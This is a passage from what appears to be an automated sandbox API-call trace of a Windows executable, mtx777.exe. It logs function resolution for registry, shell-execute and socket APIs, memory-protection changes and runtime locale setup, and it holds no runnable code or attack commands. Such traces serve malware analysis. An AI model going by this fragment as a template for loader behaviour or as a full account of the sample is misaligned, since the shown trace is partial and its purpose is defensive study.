lpProcName="FindFirstFileExW") returned 0x76c41811 [0034.318] GetProcAddress (hModule=0x76c20000, lpProcName="GetTimeZoneInformation") returned 0x76c3465a [0034.318] GetProcAddress (hModule=0x76c20000, lpProcName="HeapReAlloc") returned 0x77171f6e [0034.318] GetProcAddress (hModule=0x76c20000, lpProcName="SetFilePointerEx") returned 0x76c4c807 [0034.318] GetProcAddress (hModule=0x76c20000, lpProcName="ReadConsoleW") returned 0x76cd739a [0034.318] GetProcAddress (hModule=0x76c20000, lpProcName="ReadFile") returned 0x76c33ed3 [0034.318] GetProcAddress (hModule=0x76c20000, lpProcName="GetLastError") returned 0x76c311c0 [0034.318] GetProcAddress (hModule=0x76c20000, lpProcName="WideCharToMultiByte") returned 0x76c3170d [0034.318] GetProcAddress (hModule=0x76c20000, lpProcName="CloseHandle") returned 0x76c31410 [0034.318] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentProcess") returned 0x76c31809 [0034.319] GetProcAddress (hModule=0x76c20000, lpProcName="SwitchToThread") returned 0x76c4efec [0034.319] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentThread") returned 0x76c317ec [0034.319] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentThreadId") returned 0x76c31450 [0034.319] GetProcAddress (hModule=0x76c20000, lpProcName="QueryPerformanceCounter") returned 0x76c31725 [0034.319] GetProcAddress (hModule=0x76c20000, lpProcName="EnterCriticalSection") returned 0x771522b0 [0034.319] GetProcAddress (hModule=0x76c20000, lpProcName="LeaveCriticalSection") returned 0x77152270 [0034.319] GetProcAddress (hModule=0x76c20000, lpProcName="DeleteCriticalSection") returned 0x771645f5 [0034.319] GetProcAddress (hModule=0x76c20000, lpProcName="SetLastError") returned 0x76c311a9 [0034.319] GetProcAddress (hModule=0x76c20000, lpProcName="InitializeCriticalSectionAndSpinCount") returned 0x76c31916 [0034.319] GetProcAddress (hModule=0x76c20000, lpProcName="TlsAlloc") returned 0x76c349ad [0034.319] GetProcAddress (hModule=0x76c20000, lpProcName="TlsGetValue") returned 0x76c311e0 [0034.320] GetProcAddress (hModule=0x76c20000, lpProcName="TlsSetValue") returned 0x76c314fb [0034.320] GetProcAddress (hModule=0x76c20000, lpProcName="TlsFree") returned 0x76c33587 [0034.320] GetProcAddress (hModule=0x76c20000, lpProcName="GetSystemTimeAsFileTime") returned 0x76c33509 [0034.320] GetProcAddress (hModule=0x76c20000, lpProcName="GetModuleHandleW") returned 0x76c334b0 [0034.320] GetProcAddress (hModule=0x76c20000, lpProcName="GetProcAddress") returned 0x76c31222 [0034.320] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0034.320] GetProcAddress (hModule=0x76c20000, lpProcName="DecodePointer") returned 0x77169d35 [0034.320] GetProcAddress (hModule=0x76c20000, lpProcName="MultiByteToWideChar") returned 0x76c3192e [0034.320] GetProcAddress (hModule=0x76c20000, lpProcName="CompareStringW") returned 0x76c33bca [0034.320] GetProcAddress (hModule=0x76c20000, lpProcName="LCMapStringW") returned 0x76c317b9 [0034.320] GetProcAddress (hModule=0x76c20000, lpProcName="GetLocaleInfoW") returned 0x76c33c42 [0034.320] GetProcAddress (hModule=0x76c20000, lpProcName="GetStringTypeW") returned 0x76c31946 [0034.321] GetProcAddress (hModule=0x76c20000, lpProcName="GetCPInfo") returned 0x76c35189 [0034.321] GetProcAddress (hModule=0x76c20000, lpProcName="UnhandledExceptionFilter") returned 0x76c5772f [0034.321] GetProcAddress (hModule=0x76c20000, lpProcName="SetUnhandledExceptionFilter") returned 0x76c387c9 [0034.321] GetProcAddress (hModule=0x76c20000, lpProcName="TerminateProcess") returned 0x76c4d802 [0034.321] GetProcAddress (hModule=0x76c20000, lpProcName="IsProcessorFeaturePresent") returned 0x76c35235 [0034.321] GetProcAddress (hModule=0x76c20000, lpProcName="IsDebuggerPresent") returned 0x76c34a5d [0034.321] GetProcAddress (hModule=0x76c20000, lpProcName="GetStartupInfoW") returned 0x76c34d40 [0034.321] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentProcessId") returned 0x76c311f8 [0034.321] GetProcAddress (hModule=0x76c20000, lpProcName="InitializeSListHead") returned 0x771694a4 [0034.321] GetProcAddress (hModule=0x76c20000, lpProcName="SetEvent") returned 0x76c316c5 [0034.321] GetProcAddress (hModule=0x76c20000, lpProcName="GetThreadTimes") returned 0x76cb53eb [0034.322] GetProcAddress (hModule=0x76c20000, lpProcName="FreeLibrary") returned 0x76c334c8 [0034.322] GetProcAddress (hModule=0x76c20000, lpProcName="LoadLibraryExW") returned 0x76c3495d [0034.322] GetProcAddress (hModule=0x76c20000, lpProcName="RtlUnwind") returned 0x76c5d1c3 [0034.322] GetProcAddress (hModule=0x76c20000, lpProcName="RaiseException") returned 0x76c358a6 [0034.322] GetProcAddress (hModule=0x76c20000, lpProcName="ExitProcess") returned 0x76c37a10 [0034.322] GetProcAddress (hModule=0x76c20000, lpProcName="GetModuleHandleExW") returned 0x76c34a6f [0034.322] GetProcAddress (hModule=0x76c20000, lpProcName="CreateFileW") returned 0x76c33f5c [0034.322] GetProcAddress (hModule=0x76c20000, lpProcName="GetDriveTypeW") returned 0x76c3418b [0034.322] GetProcAddress (hModule=0x76c20000, lpProcName="GetFileInformationByHandle") returned 0x76c353ae [0034.322] GetProcAddress (hModule=0x76c20000, lpProcName="GetFileType") returned 0x76c33531 [0034.322] GetProcAddress (hModule=0x76c20000, lpProcName="PeekNamedPipe") returned 0x76cb4821 [0034.323] GetProcAddress (hModule=0x76c20000, lpProcName="SystemTimeToTzSpecificLocalTime") returned 0x76c50652 [0034.323] GetProcAddress (hModule=0x76c20000, lpProcName="FileTimeToSystemTime") returned 0x76c3542c [0034.323] GetProcAddress (hModule=0x76c20000, lpProcName="GetStdHandle") returned 0x76c351b3 [0034.323] GetProcAddress (hModule=0x76c20000, lpProcName="WriteFile") returned 0x76c31282 [0034.323] GetProcAddress (hModule=0x76c20000, lpProcName="HeapAlloc") returned 0x7715e026 [0034.323] GetProcAddress (hModule=0x76c20000, lpProcName="HeapFree") returned 0x76c314c9 [0034.323] GetProcAddress (hModule=0x76c20000, lpProcName="IsValidLocale") returned 0x76c4ce46 [0034.323] GetProcAddress (hModule=0x76c20000, lpProcName="GetUserDefaultLCID") returned 0x76c33da5 [0034.323] GetProcAddress (hModule=0x76c20000, lpProcName="EnumSystemLocalesW") returned 0x76cb425f [0034.323] GetProcAddress (hModule=0x76c20000, lpProcName="FlushFileBuffers") returned 0x76c3469b [0034.323] GetProcAddress (hModule=0x76c20000, lpProcName="GetConsoleCP") returned 0x76cd7bff [0034.324] GetProcAddress (hModule=0x76c20000, lpProcName="GetConsoleMode") returned 0x76c31328 [0034.324] GetProcAddress (hModule=0x76c20000, lpProcName="MoveFileExW") returned 0x76c49b2d [0034.324] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentDirectoryW") returned 0x76c35611 [0034.324] GetProcAddress (hModule=0x76c20000, lpProcName="GetFullPathNameW") returned 0x76c340d4 [0034.324] GetProcAddress (hModule=0x76c20000, lpProcName="SetStdHandle") returned 0x76cb454f [0034.324] GetModuleHandleA (lpModuleName="ADVAPI32.dll") returned 0x74d40000 [0034.324] GetProcAddress (hModule=0x74d40000, lpProcName="RegCreateKeyExW") returned 0x74d540fe [0034.324] GetProcAddress (hModule=0x74d40000, lpProcName="RegSetValueExW") returned 0x74d514d6 [0034.324] GetProcAddress (hModule=0x74d40000, lpProcName="RegOpenKeyExA") returned 0x74d54907 [0034.324] GetProcAddress (hModule=0x74d40000, lpProcName="RegDeleteValueA") returned 0x74d6a4ea [0034.324] GetProcAddress (hModule=0x74d40000, lpProcName="RegCloseKey") returned 0x74d5469d [0034.325] GetModuleHandleA (lpModuleName="SHELL32.dll") returned 0x75fd0000 [0034.325] GetProcAddress (hModule=0x75fd0000, lpProcName="ShellExecuteA") returned 0x76217078 [0034.325] GetModuleHandleA (lpModuleName="WS2_32.dll") returned 0x75bc0000 [0034.325] GetProcAddress (hModule=0x75bc0000, lpProcName="WSACloseEvent") returned 0x75bc651f [0034.325] GetProcAddress (hModule=0x75bc0000, lpProcName="WSACreateEvent") returned 0x75bc64fb [0034.325] GetProcAddress (hModule=0x75bc0000, lpProcName="WSASetEvent") returned 0x75bccdd4 [0034.325] GetProcAddress (hModule=0x75bc0000, lpProcName=0x73) returned 0x75bc3ab2 [0034.325] GetProcAddress (hModule=0x75bc0000, lpProcName="WSAResetEvent") returned 0x75bccdc3 [0034.325] GetProcAddress (hModule=0x75bc0000, lpProcName=0x13) returned 0x75bc6f01 [0034.325] GetProcAddress (hModule=0x75bc0000, lpProcName=0x34) returned 0x75bd7673 [0034.325] GetProcAddress (hModule=0x75bc0000, lpProcName="WSAWaitForMultipleEvents") returned 0x75bc650e [0034.326] GetProcAddress (hModule=0x75bc0000, lpProcName="WSASocketA") returned 0x75bcc82a [0034.326] GetProcAddress (hModule=0x75bc0000, lpProcName="WSARecv") returned 0x75bc7089 [0034.326] GetProcAddress (hModule=0x75bc0000, lpProcName=0x9) returned 0x75bc2d8b [0034.326] GetProcAddress (hModule=0x75bc0000, lpProcName="WSAGetOverlappedResult") returned 0x75bc7489 [0034.326] GetProcAddress (hModule=0x75bc0000, lpProcName=0x6f) returned 0x75bc37ad [0034.326] GetProcAddress (hModule=0x75bc0000, lpProcName=0x74) returned 0x75bc3c5f [0034.326] GetProcAddress (hModule=0x75bc0000, lpProcName=0x3) returned 0x75bc3918 [0034.326] GetProcAddress (hModule=0x75bc0000, lpProcName=0x4) returned 0x75bc6bdd [0034.326] VirtualProtect (in: lpAddress=0xd0000, dwSize=0x400, flNewProtect=0x4, lpflOldProtect=0x4ae5dc | out: lpflOldProtect=0x4ae5dc*=0x2) returned 1 [0034.326] VirtualProtect (in: lpAddress=0xd1000, dwSize=0x2e000, flNewProtect=0x20, lpflOldProtect=0x1185e8 | out: lpflOldProtect=0x1185e8*=0x40) returned 1 [0034.341] VirtualProtect (in: lpAddress=0xff000, dwSize=0x12000, flNewProtect=0x2, lpflOldProtect=0x1185f4 | out: lpflOldProtect=0x1185f4*=0x4) returned 1 [0034.341] VirtualProtect (in: lpAddress=0x111000, dwSize=0x3000, flNewProtect=0x4, lpflOldProtect=0x118600 | out: lpflOldProtect=0x118600*=0x4) returned 1 [0034.341] VirtualProtect (in: lpAddress=0xd0000, dwSize=0x400, flNewProtect=0x2, lpflOldProtect=0x4ae5e4 | out: lpflOldProtect=0x4ae5e4*=0x4) returned 1 [0034.342] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x4ae5e8 | out: lpSystemTimeAsFileTime=0x4ae5e8*(dwLowDateTime=0x922dd220, dwHighDateTime=0x1d5c259)) [0034.342] GetCurrentThreadId () returned 0x928 [0034.342] GetCurrentProcessId () returned 0x924 [0034.342] QueryPerformanceCounter (in: lpPerformanceCount=0x4ae5e0 | out: lpPerformanceCount=0x4ae5e0*=15455890286) returned 1 [0034.342] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0034.342] LoadLibraryExW (lpLibFileName="api-ms-win-core-synch-l1-2-0", hFile=0x0, dwFlags=0x800) returned 0x0 [0034.342] GetLastError () returned 0x57 [0034.342] LoadLibraryExW (lpLibFileName="kernel32", hFile=0x0, dwFlags=0x800) returned 0x0 [0034.342] GetLastError () returned 0x57 [0034.342] LoadLibraryExW (lpLibFileName="kernel32", hFile=0x0, dwFlags=0x0) returned 0x76c20000 [0034.342] GetProcAddress (hModule=0x76c20000, lpProcName="InitializeCriticalSectionEx") returned 0x76c34d28 [0034.342] LoadLibraryExW (lpLibFileName="api-ms-win-core-fibers-l1-1-1", hFile=0x0, dwFlags=0x800) returned 0x0 [0034.342] GetLastError () returned 0x57 [0034.342] GetProcAddress (hModule=0x76c20000, lpProcName="FlsAlloc") returned 0x76c34f2b [0034.343] GetProcAddress (hModule=0x76c20000, lpProcName="FlsSetValue") returned 0x76c34208 [0034.343] LoadLibraryExW (lpLibFileName="api-ms-win-core-synch-l1-2-0", hFile=0x0, dwFlags=0x800) returned 0x0 [0034.343] GetLastError () returned 0x57 [0034.343] LoadLibraryExW (lpLibFileName="kernel32", hFile=0x0, dwFlags=0x800) returned 0x0 [0034.343] GetLastError () returned 0x57 [0034.343] LoadLibraryExW (lpLibFileName="kernel32", hFile=0x0, dwFlags=0x0) returned 0x76c20000 [0034.343] GetProcAddress (hModule=0x76c20000, lpProcName="InitializeCriticalSectionEx") returned 0x76c34d28 [0034.343] GetProcessHeap () returned 0x510000 [0034.343] LoadLibraryExW (lpLibFileName="api-ms-win-core-fibers-l1-1-1", hFile=0x0, dwFlags=0x800) returned 0x0 [0034.343] GetLastError () returned 0x57 [0034.343] GetProcAddress (hModule=0x76c20000, lpProcName="FlsAlloc") returned 0x76c34f2b [0034.343] GetLastError () returned 0x57 [0034.343] GetProcAddress (hModule=0x76c20000, lpProcName="FlsGetValue") returned 0x76c31252 [0034.344] GetProcAddress (hModule=0x76c20000, lpProcName="FlsSetValue") returned 0x76c34208 [0034.344] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x364) returned 0x53cda0 [0034.344] SetLastError (dwErrCode=0x57) [0034.344] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0xc00) returned 0x53d110 [0034.345] GetStartupInfoW (in: lpStartupInfo=0x4ae51c | out: lpStartupInfo=0x4ae51c*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\mtx777.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xe1800, hStdOutput=0xa9c22d8, hStdError=0xfffffffe)) [0034.345] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0034.345] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0034.345] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0034.345] GetCommandLineA () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\mtx777.exe\" " [0034.345] GetCommandLineW () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\mtx777.exe\" " [0034.345] GetACP () returned 0x4e4 [0034.345] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x220) returned 0x53ed18 [0034.346] IsValidCodePage (CodePage=0x4e4) returned 1 [0034.346] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x4ae53c | out: lpCPInfo=0x4ae53c) returned 1 [0034.346] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x4ade04 | out: lpCPInfo=0x4ade04) returned 1 [0034.346] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x4ae418, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0034.346] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x4ae418, cbMultiByte=256, lpWideCharStr=0x4adb98, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0034.346] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpCharType=0x4ade18 | out: lpCharType=0x4ade18) returned 1 [0034.346] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x4ae418, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0034.346] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x4ae418, cbMultiByte=256, lpWideCharStr=0x4adb58, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0034.346] LoadLibraryExW (lpLibFileName="api-ms-win-core-localization-l1-2-1", hFile=0x0, dwFlags=0x800) returned 0x0 [0034.346] GetLastError () returned 0x57 [0034.346] GetProcAddress (hModule=0x76c20000, lpProcName="LCMapStringEx") returned 0x76cb47f1 [0034.346] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0034.346] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x4ad948, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȈ") returned 256 [0034.346] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȈ", cchWideChar=256, lpMultiByteStr=0x4ae318, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿô;Æ\nTåJ", lpUsedDefaultChar=0x0) returned 256 [0034.346] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x4ae418, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0034.346] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x4ae418, cbMultiByte=256, lpWideCharStr=0x4adb68, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0034.346] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0034.346] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x4ad958, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȈ") returned 256 [0034.346] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȈ", cchWideChar=256, lpMultiByteStr=0x4ae218, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f 